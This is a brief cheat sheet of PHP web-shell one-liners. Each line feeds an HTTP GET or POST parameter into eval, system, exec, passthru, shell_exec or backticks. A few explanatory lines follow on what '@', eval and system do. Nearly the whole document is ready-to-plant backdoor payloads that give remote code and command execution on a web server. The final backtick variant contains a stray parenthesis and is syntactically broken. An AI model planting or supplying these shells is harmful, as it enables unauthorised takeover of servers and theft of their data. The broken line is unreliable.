PHP webshell

<?php @eval($_GET['phpcode']);?>
<?php @eval($_POST['phpcode']);?>

<?php @system($_GET['cmd']);?>
<?php @system($_POST['cmd']);?>

<?php @exec($_POST['cmd']);?>
<?php @passthru($_POST['cmd']);?>
<?php @shell_exec($_POST['cmd']);?>
<?php $cmd=$_POST['cmd']);`$cmd`;?> 

@ + Function means to ignore the warning.
eval () is executed php code
system () can execute a system command